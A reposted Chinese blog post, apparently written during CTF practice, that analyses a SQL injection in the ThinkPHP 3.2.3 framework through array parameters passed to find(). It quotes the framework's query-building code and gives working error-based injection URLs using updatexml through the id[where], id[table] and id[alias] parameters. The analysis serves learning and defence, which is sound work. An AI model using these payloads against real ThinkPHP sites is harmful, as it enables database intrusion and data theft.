发布于2021-06-07 20:32 阅读(805) 评论(0) 点赞(23) 收藏(0)
复习好无聊,就去刷刷CTFshow的题目,刷到一个TP3.2.3的SQL注入,之前没分析过,就简要分析一下,也有利于我这菜鸡学习一下
不只是find方法,由于select(),find(),delete()方法可能会传入数组类型数据,导致可能的SQL注入隐患。
上官网下载3.2.3完整版http://www.thinkphp.cn/donate/download/id/610.html
\Application\Home\Controller\IndexController.class.php:
public function index()
{
$id = i('id');
$res = M('users')->find($id);
var_dump($res);
//$res = M('user')->delete($id);
//$res = M('user')->select($id);
}
where: http://127.0.0.1/thinkphp_3.2.3_full/index.php?m=Home&c=Index&a=index&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
直接分析find方法:
首先$option[where]的值即是我们传入的值,然后到Driver类中调用select方法。
其中又会调用buildSelectSql方法,这方法用来生成查询SQL语句的,跟进
buildSelectSql方法中有一个parseSql方法,这是很熟悉的方法了,它是用来替换生成SQL语句的,也是最容易出现问题的地方!!
单独看看这个替换SQL语句中表达式的方法:
它会用str_replace函数将一些参数替换进既定SQL模板语句中,最后返回这个SQL
既定SQL模板语句如下:
SELECT%DISTINCT% %FIELD% FROM %TABLE%%FORCE%%JOIN%%WHERE%%GROUP%%HAVING%%ORDER%%LIMIT% %UNION%%LOCK%%COMMENT%
根据$opention的值,显然我们这里只有%WHERE%可以替换
那么我们就会调用:$this->parseWhere()
,跟进看看
直接将$whereStr的值拼接进去SQL语句中了,变成了这样:
WHERE 1 and updatexml(1,concat(0x7e,database(),0x7e),1) #
显然这是能触发报错注入的,再看看最终的SQL语句:
SELECT * FROM `users` WHERE 1 and updatexml(1,concat(0x7e,database(),0x7e),1) # LIMIT 1
不仅仅parseWhere()可以触发,与之类似拼接的parseGroup()、parseHaving()、parseOrder()都能触发:
protected function parseGroup($group) {
return !empty($group)? ' GROUP BY '.$group:'';
}
protected function parseHaving($having) {
return !empty($having)? ' HAVING '.$having:'';
}
protected function parseOrder($order) {
............
return !empty($order)? ' ORDER BY '.$order:'';
}
此外还有 parseTable()也能触发,可以用id[where]和id[alias]参数触发。我懒就不分析这个了。
//Think/Model.class.php
protected function _parseOptions($options=array()) {
..............
if(!empty($options['alias'])) {
$options['table'] .= ' '.$options['alias'];
}
// 记录操作的模型名称
$options['model'] = $this->name;
...............
}
//Drover.class.php
protected function parseTable($tables) {
.............
elseif(is_string($tables)){
$tables = explode(',',$tables);
array_walk($tables, array(&$this, 'parseKey'));
}
return implode(',',$tables);
}
table:http://127.0.0.1/thinkphp_3.2.3_full/index.php?m=Home&c=Index&a=index&id[table]=users where 1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1) %23
alias:http://127.0.0.1/thinkphp_3.2.3_full/index.php?m=Home&c=Index&a=index&id[alias]=users where 1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1) %23
where: http://127.0.0.1/thinkphp_3.2.3_full/index.php?m=Home&c=Index&a=index&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
id[order]
id[having]
id[group]
分析表达式的_parseOptions()的参数不再是我们可控的$option,导致我们的构造无法被利用
原文链接:https://blog.csdn.net/weixin_45669205/article/details/117429889
作者:搜嘎皮卡
链接:http://www.phpheidong.com/blog/article/89436/8203f1046aff7086c28e/
来源:php黑洞网
任何形式的转载都请注明出处,如有侵权 一经发现 必将追究其法律责任
昵称:
评论内容:(最多支持255个字符)
---无人问津也好,技不如人也罢,你都要试着安静下来,去做自己该做的事,而不是让内心的烦躁、焦虑,坏掉你本来就不多的热情和定力
Copyright © 2018-2021 php黑洞网 All Rights Reserved 版权所有,并保留所有权利。 京ICP备18063182号-4
投诉与举报,广告合作请联系vgs_info@163.com或QQ3083709327
免责声明:网站文章均由用户上传,仅供读者学习交流使用,禁止用做商业用途。若文章涉及色情,反动,侵权等违法信息,请向我们举报,一经核实我们会立即删除!